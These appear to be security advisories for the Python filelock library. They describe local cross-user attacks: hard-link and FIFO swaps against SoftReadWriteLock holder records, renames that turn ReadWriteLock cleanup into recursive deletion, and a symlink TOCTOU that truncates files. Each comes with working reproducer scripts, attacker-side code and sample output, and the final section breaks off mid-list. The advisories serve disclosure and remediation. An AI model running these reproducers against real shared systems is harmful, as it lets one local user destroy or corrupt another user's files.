OsFiles.overwrite() refreshes a holder record by opening holders/<token> by name and writing at offset 0. ONOFOLLOW refuses a symbolic link at that name (a planted one ends the acquire with OSError: [Errno 40] and the target untouched). A hard link is an ordinary directory entry, and a FIFO is not a symbolic link either. Nothing between the open and the write checks that the descriptor is the file create() made. Another user who can rename inside holders/ has two ways to use the one unguarded reopen, depending on the node it puts under the lock user's record name:
1. The other user can write holders/. prepare() uses an existing protocol tree whoever owns it; it checks only the node type. In sticky /tmp, the user who creates /tmp/app.lock.rw/{gen,holders} before the lock's first use owns holders/ and may rename over anything the lock user creates in it. In a shared directory without the sticky bit, being first is not needed. 2. The lock user publishes its record and drops the descriptor. Participant.publish() calls OsFiles.create(), which opens holders/<token> with OCREAT | OEXCL, writes the record and closes. The token is the file name, so the other user reads it from a listing of its own directory. 3. The other user swaps the name. Hard link: link("/home/victim/accounts.csv", "holders/link"), then rename("holders/link", "holders/<token>"); link(2) needs search permission on /home/victim and write permission on holders/, nothing on the file. FIFO: mkfifo (mode 0666) + rename, so the name is absent at no point and the lock user does not take the "record is gone, recreate it" branch. 4. The lock user writes by name. Each poll of a waiting acquire (pollinterval, 0.25 s) runs advance() → keepclaimfresh() → refreshnonce() → overwrite(). With the hard link the lock user owns the linked file, so OWRONLY succeeds and writeall puts encodeholder(...) at offset 0 without truncating. The lock user's call then ends in an ordinary Timeout. A granted holder does the same from its heartbeat thread every heartbeatinterval (30 s by default). With heartbeatinterval=0.5, the holder also writes through a link planted one second after it got the write lock, and lock.compromise stays None. 5. The link disappears. On Timeout or release, leave() unlinks holders/<token>, which is now the other user's link. The target is back to one link and holders/ is empty.
The scanner observed this with the hard link. victim runs SoftReadWriteLock("/tmp/app.lock").writelock(timeout=2) and waits. attacker, who created /tmp/app.lock.rw first, renames a hard link to /home/victim/accounts.csv (mode 0600, owner victim; the attacker account can neither read nor write it) over the record. The file keeps its size, owner and mode. It now begins filelock-rw/1\ntoken=ea480210b6cacc96a657f16d93f7f284\npid=210\nhost=cfz?pidns-f0000217\nlease=90.0\nnonce=5f8f61dcf2607b56ef05c521bdade557\n, followed by its original content from offset 135 on (the record length varies with the PID and the host name).
The same reopen with a FIFO: open(fifo, OWRONLY) without ONONBLOCK (the flag that makes such an open return at once) blocks until the FIFO has a reader. The scanner observed two cases on the image with its default settings.
In a waiting acquire, the code checks the deadline one level above the blocked call, so an open that does not return outlasts any timeout, and a close() from another thread. The lock user, with the FIFO in place of the hard link, is still inside writelock(timeout=2) 12 s later, at storage.py:158 attemptopen ← :143 open ← :96 overwrite ← protocol.py:545 refreshnonce ← :494 keepclaimfresh ← :464 advance ← sync.py:584 waitfor ← :512 doacquireinner; without the FIFO the same call raises Timeout after 2.0 s.
Inside filelock the only thing that ends the block is a peer's read() of the same name: its non-blocking open is a reader for a moment, the stuck open returns, and writeall then fails with EPIPE (broken pipe). Peers read a waiter's record only in sweep, at most every stalethreshold / 2 (stalethreshold is the age after which peers treat a record as abandoned). With a live holder on default settings writelock(timeout=2) returned after 59.9 s with BrokenPipeError instead of Timeout, and with no live peer it was still blocked after 150 s. The blocked thread is also still inside acquire's self.locks.transaction section, so other threads acquiring through the same instance wait behind it.
For a holder's heartbeat, heartbeat() knows two failures. overwrite returning False is lost, an OSError is transient, and refresh turns those into an evicted or a refresh-failed compromise. A blocked call is neither. With heartbeatinterval=1, stalethreshold=3 and the FIFO renamed over the record after the grant: 6.5 s later lock.compromise is still None, oncompromise has not run, release() takes 2.0 s (the join timeout; 31 s with the default interval) and the filelock-heartbeat- thread is still alive after it. For comparison, when someone deletes the record outright, the holder learns evicted at its next heartbeat.
When whoever planted the FIFO keeps it open with the pipe buffer full, the open succeeds and writeall is what blocks, and peers' reads no longer disturb it. Run that way with the same intervals, a second process read the record as b"", evicted the holder after stalethreshold and got the write lock 3.0 s later, while the first process was still in its critical section with lock.compromise is None and oncompromise not called.
Reproduction
The scanner's reproducer for finding ANT-2026-AT33VEVC, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.
repro
python #!/usr/bin/env python3 import os import shutil import subprocess import sys
LOCKTREE = "/tmp/app.lock.rw" VICTIMFILE = "/home/victim/accounts.csv" PROTECTEDHARDLINKS = "/proc/sys/fs/protectedhardlinks" asvictim = ["runuser", "-u", "victim", "--"] asattacker = ["runuser", "-u", "attacker", "--"]
set up: a file only the victim may read or write, on the same filesystem as /tmp original = b"name,balance\n" + b"".join(b"customer-%03d,1000\n" % n for n in range(20)) with open(VICTIMFILE, "wb") as f: f.write(original) shutil.chown(VICTIMFILE, "victim", "victim") os.chmod(VICTIMFILE, 0o600) shutil.rmtree(LOCKTREE, ignoreerrors=True)
directwrite = subprocess.run([asattacker, "truncate", "-s", "0", VICTIMFILE], captureoutput=True, text=True) print("CONTROL attacker writes the file itself:", directwrite.stderr.strip()) assert directwrite.returncode != 0
The one non-default setting: 0 (the kernel's built-in value, and what macOS and the BSDs allow) lets a user hard-link a file it does not own. With 1, as this image boots, the attacker's link() fails with EPERM. Kernel-wide, so restored. protectedhardlinksbefore = open(PROTECTEDHARDLINKS).read() open(PROTECTEDHARDLINKS, "w").write("0") try: # attack subprocess.run([asattacker, sys.executable, "/tmp/repro.d/attackercreateslocktreefirst.py"], check=True) linkplanter = subprocess.Popen( [asattacker, sys.executable, "/tmp/repro.d/attackerplantshardlink.py"], stdout=subprocess.PIPE, text=True ) victimapp = subprocess.run( [asvictim, sys.executable, "/tmp/repro.d/victimapp.py"], stdout=subprocess.PIPE, text=True, check=True ) victimtoken = linkplanter.communicate()[0].strip() assert linkplanter.returncode == 0 finally: open(PROTECTEDHARDLINKS, "w").write(protectedhardlinksbefore)
check: the victim's holder record belongs in holders/<token>, never in another file print("victim app:", victimapp.stdout.strip()) print("attacker replaced holders/" + victimtoken, "with a hard link to", VICTIMFILE) after = open(VICTIMFILE, "rb").read() info = os.stat(VICTIMFILE) print(f"OBSERVED {VICTIMFILE} (uid {info.stuid}, mode {info.stmode & 0o777:o}) now begins:") print(after[:200].decode(errors="replace")) print("BUG" if after.startswith(b"filelock-rw/1\ntoken=" + victimtoken.encode() + b"\n") else "OK")
repro.d/attackercreateslocktreefirst.py
python import os
LOCKTREE = "/tmp/app.lock.rw"
os.umask(0) os.mkdir(LOCKTREE, 0o777) os.mkdir(f"{LOCKTREE}/gen", 0o777) os.mkdir(f"{LOCKTREE}/holders", 0o777)
A snapshot naming some other writer, so the victim keeps polling (and refreshing its record) instead of being granted. with open(f"{LOCKTREE}/gen/00000000000000000001", "w") as snapshot: snapshot.write("filelock-rw/1\ngeneration=1\nwriter=" + "a" 32 + "\n")
repro.d/attackerplantshardlink.py
python import os import time
HOLDERS = "/tmp/app.lock.rw/holders" VICTIMFILE = "/home/victim/accounts.csv"
deadline = time.monotonic() + 30 while not (records := os.listdir(HOLDERS)): assert time.monotonic() < deadline, "the victim never published a holder record" time.sleep(0.01) victimtoken = records[0]
link(2) needs write permission on holders/ and search permission on /home/victim, nothing on the file itself. os.link(VICTIMFILE, f"{HOLDERS}/link") os.rename(f"{HOLDERS}/link", f"{HOLDERS}/{victimtoken}") print(victimtoken)
repro.d/victimapp.py
python import time
from filelock import SoftReadWriteLock, Timeout
started = time.monotonic() try: with SoftReadWriteLock("/tmp/app.lock").writelock(timeout=2): print("got the write lock") except Timeout: print(f"Timeout after {time.monotonic() - started:.1f} s")
Attack sequence
mermaid sequenceDiagram participant A as other local user (owns /tmp/app.lock.rw) participant V as lock user (writelock, timeout=2) participant H as holders/ (owned by the other user, 0777) participant T as /home/victim/accounts.csv (0600) rect rgb(255, 214, 214) Note over A,T: filelock 4.0.0 to 4.2.0 A->>H: before the lock user's first use, create app.lock.rw, gen and holders (0777) and one snapshot naming another writer V->>H: publish(), create(holders/token) with OCREAT OEXCL, write the record, close A->>H: read the token from the listing A->>T: link(accounts.csv, holders/link), needs fs.protectedhardlinks=0 A->>H: rename(holders/link, holders/token) V->>H: poll, refreshnonce(), overwrite() opens holders/token by name with OWRONLY ONOFOLLOW, no fstat V->>T: writeall at offset 0, the first 135 bytes of accounts.csv are now the holder record V->>H: Timeout after 2.0 s, leave() unlinks holders/token (the link) Note over A,H: FIFO variant on default Linux, mkfifo + rename over holders/token instead of the link V->>H: overwrite() opens the FIFO without ONONBLOCK and sleeps until a reader appears Note over V,H: writelock(timeout=2) still blocked 150 s later, a holder's heartbeat thread sleeps the same way and oncompromise does not run end
Evidence
The scanner's reproducer runs as root and starts each party under its own account with runuser. It writes 0 to /proc/sys/fs/protectedhardlinks for the run (restored afterwards; this is why it needs the privileged container), creates /home/victim/accounts.csv (20 lines of CSV, owner victim, mode 0600) and shows that attacker cannot write it. Then attackercreateslocktreefirst.py creates /tmp/app.lock.rw, gen/ and holders/ with mode 0777 and one snapshot naming some other writer, so the lock user's acquire polls instead of getting the lock at once. victimapp.py runs SoftReadWriteLock("/tmp/app.lock").writelock(timeout=2). attackerplantshardlink.py waits for the lock user's record to appear in holders/, hard-links accounts.csv beside it and renames the link over the record. Expected output on the scanned commit (token, PID and nonce vary):
CONTROL attacker writes the file itself: truncate: cannot open '/home/victim/accounts.csv' for writing: Permission denied victim app: Timeout after 2.0 s attacker replaced holders/42cc890a86c300dd889f1376d9995abf with a hard link to /home/victim/accounts.csv OBSERVED /home/victim/accounts.csv (uid 1000, mode 600) now begins: filelock-rw/1 token=42cc890a86c300dd889f1376d9995abf pid=131 host=cfz?pidns-f0000217 lease=90.0 nonce=293a8c7462249a2e9bf283a793bb5f45 000 customer-007,1000 ... BUG
The reproducer prints BUG only if the file now begins with filelock-rw/1\ntoken=<the token the other user replaced>\n, the holder record the lock user's own OsFiles.overwrite() wrote through the link. The FIFO variant is one line away (os.mkfifo(...) + chmod 0o666 in place of os.link) and needs no sysctl change: the lock user's program prints nothing and is still running after 8 s with timeout=2, and kill -ABRT prints the stack quoted above. The same run with root taking the lock overwrote a 0600 file in /etc that only root can access.
Our verification: BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #842 stack head the stock reproducer reaches no verdict, because the stack's owner check refuses the /tmp/app.lock.rw owned by the other account with RuntimeError before the lock user publishes a record (the target stays untouched). With that owner check disabled, the stock reproducer prints OK with accounts.csv intact. The independent review's FIFO variant (mkfifo + rename, no sysctl change) shows the 4.2.0 lock user not returning within 15 s (container killed at 300 s) against Timeout after 2.0 s on the PR head.
Impact
On a default Linux (fs.protectedhardlinks=1) the reachable effect is the FIFO hang. The other user makes a lock user's acquireread / acquirewrite / readlock / writelock hang whatever timeout the caller passed. That user could already keep the lock busy, in which case the lock user gets Timeout on time; the FIFO takes that away. Against a process that holds the lock, the FIFO stops the heartbeat thread, which is the only path by which a holder learns of its eviction. After stalethreshold (90 s by default) a second process takes the lock and nothing tells the first, so a live holder and its evictor both believe they hold the write lock and oncompromise does not run.
A user who owns the tree can already get a reader granted beside a live writer by writing one forged gen/<N+1> snapshot. What this bug adds is the acquire that outlasts its timeout and the heartbeat thread that does not return. The FIFO variant touches nothing outside the lock's own directory.
Where the kernel allows the hard link, a different local user corrupts files it has no access to, with the rights of the process that takes the lock. filelock's holder record replaces the first 135 bytes or so of the target. The other user does not choose the bytes, so the result is data destruction, not code execution: the header of a database or archive, the first lines of a configuration or credential file. This is the hard-link counterpart, on a derived name of the soft read-write lock, of the symbolic link fixes at the lock path recorded in the changelog (3.20.1 for lock file creation, 3.20.3 for SoftFileLock), which ONOFOLLOW does not cover.
Workarounds
- Keep the lock path in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share a SoftReadWriteLock between accounts through a 0777 or group-writable directory. - In a sticky directory such as /tmp, make sure the locking account creates <path>.rw before anyone else can, and refuse to use a lock path whose <path>.rw belongs to another account. - Keep fs.protectedhardlinks=1 (the default on mainstream Linux distributions). It removes the file-overwrite variant, not the FIFO stall.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/842
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (scan filelock-20261015-005 of commit b831496b0273) - 2026-10-16 01:39 UTC: fix PR #842 opened - 2026-10-16 05:42 UTC: draft advisory created (first as part of GHSA-wfhq-q4j2-c37m, then split into this advisory)
ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) remove their private .filelock- link directories with shutil.rmtree (a recursive delete) on a remembered path. They do not check that the path still names the directory they created. This happens on the hard-link route (a hard link is a second name for the same file). That route is every connection on macOS since 4.1.1 and any POSIX process without a usable /proc/self/fd (a Linux path that names the process's own open files), such as a chroot or container that does not mount /proc.
Another local user who can rename entries in the directory that holds the lock database can rename one of the directories of the user running the lock (below: the lock user) onto the link directory's name, or onto a forged dead-holder name. Such a lock directory is a 0777 or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The lock user's process then deletes that tree and everything in it with the lock user's permissions, and reports no error. Stock Linux with /proc mounted is not affected. Affected versions are filelock 4.1.0 through 4.2.0.
Anthropic's OSS Scanner reported this in private as ANT-2026-LSSZIUEO [high, CWE-367]: ReadWriteLock deletes any directory another user renames to .filelock-.
Severity
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L scores 6.1 (Medium). AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:L (low attack complexity): two rename calls and no race against filelock's own code. I:H (high integrity impact): the other user destroys a directory tree owned by the lock user, and the lock user's program reports no error. A:L (partial availability loss): the Python 3.11 RecursionError variant makes the lock user's first lock construction fail. C:N (no confidentiality impact): the other user learns nothing. S:U (scope unchanged): the effect stays within the lock user's own privileges.
Classification from the external review: conditional security, a cross-user rename in a non-sticky shared parent that turns private-link cleanup into recursive deletion of the lock user's tree. The scanner rated it high. The review accepts the mechanism, notes that the macOS route rests on a Linux run with /proc hidden rather than on a run on macOS, and narrows the finding to that precondition and route.
Scope and preconditions
- The other party is a different local account with write permission on the directory that holds the lock database, where that directory has no sticky bit. That is a 0777 directory, or a group-writable one (in a setgid 2775 directory a group member can rename the lock user's sub-directory the same way). Renaming an entry needs write permission on the parent only, not on the entry. Anyone who can write the parent can rename a 0700 directory of the lock user. - Sticky directories (/tmp itself, any 1777 directory) stop the release variant: the rename of an entry owned by the lock user fails with EPERM. The dead-owner sweep still reaches a lock user's tree that sits inside a directory the other account owns there. That account may rename its own directory to a forged dead-owner name, and the lock user's sweep deletes everything inside it. The Python 3.11 RecursionError variant also works in a sticky directory. - Platform and route. The lock user must connect through the private hard link. That is every ReadWriteLock or AsyncReadWriteLock on macOS (since 4.1.1, #820), or a POSIX process whose /proc/self/fd/<n> (/dev/fd/<n> elsewhere) does not exist, such as a chroot or container without /proc. Linux with /proc mounted connects through the descriptor and creates no .filelock- directory (checked: none appears, also with two holders in one process), so stock Linux is not affected at 4.2.0. The macOS statement rests on the descriptorusable branch at line 984 and docs/how-to.rst. The reproducer runs the same Python code on Linux with /proc hidden, which takes root and is test scaffolding, not a step the other user performs. Windows does not take this route. - Target set. Only directories that sit in the shared parent itself, or that the other account can already write, are reachable. The kernel refuses to move a 0700 directory of the lock user in from another parent. A tree the other account can already write (a group-writable project tree created with umask 002) is no gain, since that account can delete it without filelock. A lock user running as root deletes a tree of any owner. - Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.
Affected code
At the scanned commit b831496b0273: ForkSafeConnection.close runs shutil.rmtree on the remembered mkdtemp path. The path comes from retainuntilclose, set on the link route in connectthroughdescriptor, where descriptorusable is False on macOS. Three more rmtree sites sit in linkbeside (lines 1023 and 1026) and the connect's finally (line 1011). The fifth is in sweeplinksofthedead, with the name parser ownerisgone and linkprefix.
Introduced
The link directory moved beside the database in 015d27c ("fix(read-write): reject WAL databases and link beside the db (#805)"), and the dead-owner sweep came with df06bbd (#815). Both were first released in 4.1.0 (verified: git tag --contains gives 4.1.0 for both; 4.0.11 and 4.0.12 made the link in TMPDIR). macOS takes the link route for every connection since 5fd0c8f (#820), first released in 4.1.1 (verified).
Mechanism
When the lock connects through its private hard link, it disposes of .filelock- directories with shutil.rmtree on a path. Nothing ties that path to the directory filelock created. mkdtemp makes the name unpredictable and the directory 0700. The name is in the parent's listing as soon as it exists (ls -a), and renaming it needs write permission on the parent only. 0700 keeps the other user out of the directory; it does not stop a rename of the directory. There are two ways in, with the same preconditions.
On release. A connection lives for one acquisition: openforacquisition opens it and release() reaches close through release and finishconnection. The code trusts the path from the acquire to the release, for as long as the application keeps the lock. While the lock user holds writelock() on /tmp/shared-cache/cache.db, the directory lists .filelock-<pid>--<host digest>-<random>/ (0700, owned by the lock user, containing lock.db). The other user runs two renames: that directory to moved-aside, then victimproject (a 0700 directory of the lock user with notes.txt inside) onto the link directory's name. When the lock user leaves the with block, rmtree deletes victimproject and everything in it with the lock user's permissions, and the process exits with status 0. moved-aside/lock.db, the real link, stays behind as an extra hard link to the database. The constructor's validation connection (ReadWriteLock.init opens and closes one, creating and removing a link directory) and the three error-path removals trust the path the same way, with windows a few system calls long.
In the dead-owner sweep. linkbeside calls sweeplinksofthedead(parent) once per process and parent directory before mkdtemp. The first connect of every process on the link route runs it, the validation connection included. It runs rmtree on every .filelock- directory whose name parses as a dead owner's. It checks neither the directory's owner, nor its mode, nor whether it holds only lock.db. ownerisgone splits the name after .filelock- into pid, start, digest (a hash of the host name) and a suffix. It returns digest == hostdigest(host) and ownerisstale(pid, host, start or None).
The other user can forge every field. Take .filelock-2147483647--<digest>-x. pid is the largest value the #821 range check accepts and above the PID limit of Linux and macOS, so processalive gets ESRCH from os.kill(pid, 0); the PID of any exited process, such as a child the other user just reaped, passes as well. start is empty, which the parser accepts because linkprefix writes an empty field when it has no start token; with no token and a dead PID ownerisstale returns True. digest is sha256(hostname())[:16]. hostname() adds a PID-namespace tag only when /proc/self/ns/pid is readable, which it is not on macOS or without /proc, so any local user can compute the digest, and it is in the name of every link directory the lock user creates. The parser does not look at the suffix.
One rename("victimproject", ".filelock-2147483647--<digest>-x") at any time, with no lock held, gets the tree deleted the next time any lock user process on the link route constructs a lock in that directory (a cron job, a CI step, a service restart). #821 made the parser reject non-ASCII digits and out-of-range PIDs; a well-formed name for a PID that is not running still selects the directory for removal.
The sweep's rmtree has a smaller effect that needs no lock user tree and works in a sticky directory, on Python 3.11, where shutil.rmtree recurses once per directory level. The other user creates a directory of their own under a forged dead-owner name in a 1777 directory, with 1500 nested subdirectories inside. The first ReadWriteLock(...) a lock user process on the link route constructs there raises RecursionError, which the suppress(OSError) at line 1050 does not catch. A second attempt in the same process skips the sweep and succeeds. Python 3.14 walks the same tree without an error.
Reproduction
The scanner's reproducer for ANT-2026-LSSZIUEO, quoted as received. It ran against commit b831496b0273.
repro
python #!/usr/bin/env python3 import os import shutil import subprocess import sys
shared = "/tmp/shared-cache" project = f"{shared}/victimproject"
ReadWriteLock takes the hard-link route (.filelock- directory beside the database) on macOS, and elsewhere when /proc/self/fd/<n> is unusable. An empty /proc in a private mount namespace puts unmodified filelock on that route. os.unshare(os.CLONENEWNS) subprocess.run(["mount", "--make-rprivate", "/"], check=True) subprocess.run(["mount", "-t", "tmpfs", "tmpfs", "/proc"], check=True)
set up: a shared directory without the sticky bit, holding the victim's private tree shutil.rmtree(shared, ignoreerrors=True) os.mkdir(shared) os.chmod(shared, 0o777) os.mkdir(project, 0o700) with open(f"{project}/notes.txt", "w") as notesfile: notesfile.write("victim data\n") shutil.chown(f"{project}/notes.txt", "victim", "victim") shutil.chown(project, "victim", "victim")
rm = subprocess.run(["runuser", "-u", "attacker", "--", "rm", "-rf", project], captureoutput=True, text=True) print("attacker runs rm -rf on the victim's tree:", rm.stderr.strip()) assert os.path.exists(f"{project}/notes.txt"), "setup: the attacker could delete the tree without filelock"
the victim takes the write lock and stays in its critical section victim = subprocess.Popen( ["runuser", "-u", "victim", "--", sys.executable, "/tmp/repro.d/victimholdwritelock.py"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True, ) assert victim.stdout.readline() == "holding the write lock\n", "setup: the victim did not take the lock" print("while the victim holds the lock:", sorted(os.listdir(shared)))
attack subprocess.run(["runuser", "-u", "attacker", "--", sys.executable, "/tmp/repro.d/attackerswaplinkdir.py"], check=True) linkdir = next(name for name in os.listdir(shared) if name.startswith(".filelock-")) notes = f"{shared}/{linkdir}/notes.txt" print("after the attacker's renames:", sorted(os.listdir(shared))) print(f"{notes} exists:", os.path.exists(notes)) assert os.path.exists(notes), "setup: the attacker's renames did not happen"
the victim leaves its with block victim.communicate("\n", timeout=30) print("victim exit status:", victim.returncode) print("after the release:", sorted(os.listdir(shared))) print(f"{notes} exists:", os.path.exists(notes))
check: releasing a lock must not delete the victim's files print("BUG" if not os.path.exists(notes) else "OK")
repro.d/attackerswaplinkdir.py
python import os
shared = "/tmp/shared-cache"
both directories are 0700 and owned by victim; renaming them needs write permission on the parent only linkdir = next(name for name in os.listdir(shared) if name.startswith(".filelock-")) os.rename(f"{shared}/{linkdir}", f"{shared}/moved-aside") os.rename(f"{shared}/victimproject", f"{shared}/{linkdir}")
repro.d/victimholdwritelock.py
python import sys
from filelock import ReadWriteLock
lock = ReadWriteLock("/tmp/shared-cache/cache.db") with lock.writelock(): print("holding the write lock", flush=True) sys.stdin.readline() # stands for the work the lock protects; it ends when repro sends a line
Attack sequence
mermaid sequenceDiagram participant A as other local user participant V as lock user's process (link route) participant K as filesystem (parent 0777, no sticky bit) rect rgb(255, 214, 214) Note over A,K: filelock 4.1.0 to 4.2.0 on macOS, or POSIX without /proc V->>K: mkdtemp(.filelock-PID--DIGEST-XXXX) mode 0700, link cache.db inside as lock.db V->>K: BEGIN EXCLUSIVE, write lock held A->>K: rename(.filelock-PID--DIGEST-XXXX, moved-aside) A->>K: rename(victimproject, .filelock-PID--DIGEST-XXXX) V->>K: release() calls shutil.rmtree(".filelock-PID--DIGEST-XXXX") Note over V,K: victimproject and notes.txt are gone, exit status 0, moved-aside/lock.db stays A->>K: later, with no lock held, rename(any directory, .filelock-2147483647--DIGEST-x) V->>K: next ReadWriteLock(...) in that directory sweeps dead owners by name and rmtree's the forged one end
Evidence
The scanner's reproducer needs no race. It enters a private mount namespace and mounts an empty tmpfs over /proc for itself and its children (the only non-default condition, standing in for macOS). It creates /tmp/shared-cache (0777, no sticky bit) with victimproject/notes.txt (0700, owned by victim), shows that rm -rf on that tree as attacker fails with Permission denied, runs the victim program (ReadWriteLock("/tmp/shared-cache/cache.db") + with lock.writelock():) and the attacker renames, then lets the victim program release. Expected output on the scanned commit:
attacker runs rm -rf on the victim's tree: rm: cannot remove '/tmp/shared-cache/victimproject': Permission denied while the victim holds the lock: ['.filelock-106--39c81e1bf87b1d56-os58i3c', 'cache.db', 'victimproject'] after the attacker's renames: ['.filelock-106--39c81e1bf87b1d56-os58i3c', 'cache.db', 'moved-aside'] /tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os58i3c/notes.txt exists: True victim exit status: 0 after the release: ['cache.db', 'moved-aside'] /tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os58i3c/notes.txt exists: False BUG
The scanner showed the sweep variant by hand with the same setup and no lock held. As attacker, one rename of victimproject to .filelock-2147483647--<digest>-x with <digest> = hashlib.sha256(socket.gethostname().encode()).hexdigest()[:16], then ReadWriteLock("/tmp/shared-cache/cache.db") as victim with /proc hidden. notes.txt is gone after the constructor returns and the directory contains only cache.db.
Our verification: BUG on b831496 and on the 4.2.0 image (e2e7d70). On the PR #834 head: OK; the listing after the release is ['.filelock-12--4fd1986a778d5977-amfxfd9k', 'cache.db', 'moved-aside'], notes.txt exists: True, and the victim program exits 0. Neither the scanner nor the review executed on macOS; the macOS claim rests on the descriptorusable branch and the identical code after it.
Impact
The other user chooses any directory that sits in the shared parent, and the lock user's process deletes it and everything in it with the lock user's permissions and no error; the lock user's program reports success. Without filelock that user can rename such a directory but cannot remove a non-empty one whose contents they have no permission on. With filelock the lock user's process destroys the contents. The release variant needs two rename calls at any point while the lock user holds the lock and wins no race against filelock's own code. The sweep variant needs one rename and no held lock, and fires on the next lock construction by any lock user process in that directory. The real link directory stays under its new name with an extra hard link to the database.
It is not reachable on stock Linux with /proc mounted at 4.2.0. The release variant is not reachable in a sticky directory. This is the same position as in GHSA-j8f7-rjxc-mr56 (a user who can change names in a shared lock directory). Here the name is the derived .filelock- directory rather than the database, and the redirected operation is a recursive delete.
Workarounds
- On macOS, and on any POSIX system where /proc/self/fd is unavailable, keep the ReadWriteLock database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one ReadWriteLock database between accounts through a 0777 or group-writable directory. - Do not keep other directories of value beside a lock database in a directory other accounts can write; the deletion targets are siblings of the database. - On Linux with /proc mounted, 4.2.0 does not take the link route and needs no workaround for this finding.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/834
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (scan filelock-20261015-005 of commit b831496b0273) - 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it - 2026-10-16 01:15 UTC: fix PR #834 opened
filelock is a platform-independent file lock for Python. From 4.1.0 until 4.2.1, SoftFileLock can restore a stale marker by name after moving it aside, allowing another local user with rename access in a non-sticky lock directory to swap in a symbolic link and, on a runtime that follows the link and a same-filesystem target, make the lock user hard-link one of its files into the lock directory. This issue is fixed in version 4.2.1.
Impact
A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with OTRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.
Who is impacted:
All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:
- virtualenv users: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - PyTorch users: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - poetry/tox users: through using virtualenv or filelock on their own.
Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.
Patches
Fixed in version 3.20.1.
Unix/Linux/macOS fix: Added ONOFOLLOW flag to os.open() in UnixFileLock.\acquire() to prevent symlink following.
Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\acquire().
Users should upgrade to filelock 3.20.1 or later immediately.
Workarounds
If immediate upgrade is not possible:
1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications
Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.
Technical Details: How the Exploit Works
The Vulnerable Code Pattern
Unix/Linux/macOS (src/filelock/unix.py:39-44):
python def acquire(self) -> None: ensuredirectoryexists(self.lockfile) openflags = os.ORDWR | os.OTRUNC # (1) Prepare to truncate if not Path(self.lockfile).exists(): # (2) CHECK: Does file exist? openflags |= os.OCREAT fd = os.open(self.lockfile, openflags, ...) # (3) USE: Open and truncate
Windows (src/filelock/windows.py:19-28):
python def acquire(self) -> None: raiseonnotwritablefile(self.lockfile) # (1) Check writability ensuredirectoryexists(self.lockfile) flags = os.ORDWR | os.OCREAT | os.OTRUNC # (2) Prepare to truncate fd = os.open(self.lockfile, flags, ...) # (3) Open and truncate
The Race Window
The vulnerability exists in the gap between operations:
Unix variant:
Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lockfile exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victimfile T3 Open lockfile with OTRUNC → Follows symlink → Opens victimfile → Truncates victimfile to 0 bytes! ☠️
Windows variant:
Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lockfile writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victimfile T3 Open lockfile with OTRUNC → Follows symlink/junction → Opens victimfile → Truncates victimfile to 0 bytes! ☠️
Step-by-Step Attack Flow
1. Attacker Setup:
python Attacker identifies target application using filelock lockpath = "/tmp/myapp.lock" # Predictable lock path victimfile = "/home/victim/.ssh/config" # High-value target
2. Attacker Creates Race Condition:
python import os import threading
def attackerthread(): # Remove any existing lock file try: os.unlink(lockpath) except FileNotFoundError: pass
# Create symlink pointing to victim file os.symlink(victimfile, lockpath) print(f"[Attacker] Created: {lockpath} → {victimfile}")
Launch attack threading.Thread(target=attackerthread).start()
3. Victim Application Runs:
python from filelock import UnixFileLock
Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE At this point, /home/victim/.ssh/config is now 0 bytes!
4. What Happens Inside os.open():
On Unix systems, when os.open() is called:
c // Linux kernel behavior (simplified) int open(const char pathname, int flags) { struct file f = pathlookup(pathname); // Resolves symlinks by default!
if (flags & OTRUNC) { truncatefile(f); // ← Truncates the TARGET of the symlink }
return filedescriptor; }
Without ONOFOLLOW flag, the kernel follows the symlink and truncates the target file.
Why the Attack Succeeds Reliably
Timing Characteristics:
- Check operation (Path.exists()): ~100-500 nanoseconds - Symlink creation (os.symlink()): ~1-10 microseconds - Race window: ~1-5 microseconds (very small but exploitable) - Thread scheduling quantum: ~1-10 milliseconds
Success factors:
